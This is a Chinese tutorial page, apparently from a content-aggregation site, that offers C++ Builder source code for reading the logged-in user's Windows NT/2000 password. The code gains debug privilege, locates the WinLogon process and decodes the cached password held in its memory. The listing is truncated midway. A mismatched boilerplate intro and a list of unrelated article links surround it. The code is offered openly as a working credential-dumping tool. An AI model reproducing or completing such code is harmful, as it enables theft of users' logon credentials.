获取WinNT/Win2k当前用户名和密码

牙包天地

牙包天地

2016-02-19 13:13

最近很多朋友喜欢上设计,但是大家却不知道如何去做,别担心有图老师给你解答,史上最全最棒的详细解说让你一看就懂。

  本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.
  
  // 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:
  // bool GetPassWord(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
  //---------------------------------------------------------------------------
  typedef strUCt _UNICODE_STRING
  {
      USHORT Length;
      USHORT MaximumLength;
      PWSTR Buffer;
  }UNICODE_STRING, *PUNICODE_STRING;
  typedef struct _QUERY_SYSTEM_INFORMATION
  {
      DWORD GrantedAccess;
      DWORD PID;
      WORD HandleType;
      WORD HandleId;
      DWORD Handle;
  }QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
  typedef struct _PROCESS_INFO_HEADER
  {
      DWORD Count;
      DWORD Unk04;
      DWORD Unk08;
  }PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
  typedef struct _PROCESS_INFO
  {
      DWORD LoadAddress;
      DWORD Size;
      DWORD Unk08;
      DWORD Enumerator;
      DWORD Unk10;
      char Name [0x108];
  }PROCESS_INFO, *PPROCESS_INFO;
  typedef struct _ENCODED_PASSWORD_INFO
  {
      DWORD HashByte;
      DWORD Unk04;
      DWORD Unk08;
      DWORD Unk0C;
      FILETIME LoggedOn;
      DWORD Unk18;
      DWORD Unk1C;
      DWORD Unk20;
      DWORD Unk24;
      DWORD Unk28;
      UNICODE_STRING EncodedPassword;
  }ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
  
  typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
  typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
  
   typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
  typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
  typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);
  
  // Private Prototypes
  BOOL IsWinNT(void);
  BOOL IsWin2K(void);
  BOOL AddDebugPrivilege(void);
  DWORD FindWinLogon(void);
  BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
  BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
  void ReturnWinNTPwd(String &, String &, String &);
  void ReturnWin2kPwd(String &, String &, String &);
  bool GetPassword(String &, String &, String &);
  
  // Global Variables
  PFNNTQUERYSYSTEMINFORMATION        pfnNtQuerySystemInformation;
  PFNRTLCREATEQUERYDEBUGBUFFER       pfnRtlCreateQueryDebugBuffer;
  PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
  PFNRTLDESTROYQUERYDEBUGBUFFER      pfnRtlDestroyQueryDebugBuffer;
  PFNTRTLRUNDECODEUNICODESTRING      pfnRtlRunDecodeUnicodeString;
  
  DWORD dwPwdLen = 0;
  PVOID pvRealPwd = NULL;
  PVOID pvPwd = NULL;
  DWORD dwHashByte = 0;
  wchar_t wszUserName[0x400];
  wchar_t wszUserDomain[0x400];
  //---------------------------------------------------------------------------
  bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
  {
          if(!IsWinNT() && !IsWin2K())
      {
          // 只适合于2000或者XP
          return false;
      }
      // Add debug privilege to PasswordReminder -
      // this is needed for the search for WinLogon.
      if(!AddDebugPrivilege())
      {
          // 不能够添加debug特权
          return false;
      }
      // debug特权已经成功加入到本程序
      HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
  
       pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
              GetProcAddress(hNtDll,"NtQuerySystemInformation");
      pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
              GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
      pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
              GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
      pfnRtlDe
展开更多 50%)
分享

猜你喜欢

获取WinNT/Win2k当前用户名和密码

编程语言 网络编程
获取WinNT/Win2k当前用户名和密码

WPS如何快速生成用户名和密码

电脑入门
WPS如何快速生成用户名和密码

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

12306忘记用户名和密码怎么办

生活常识
12306忘记用户名和密码怎么办

Win8如何取消用户名密码登录

windows系统
Win8如何取消用户名密码登录

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

iis去掉登录用户名密码

电脑入门
iis去掉登录用户名密码

淘宝用户名怎么改 如何修改淘宝用户名

应用软件
淘宝用户名怎么改 如何修改淘宝用户名

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

简单的用户密码管理系统

简单的用户密码管理系统

iso文件用什么打开

iso文件用什么打开
下拉加载更多内容 ↓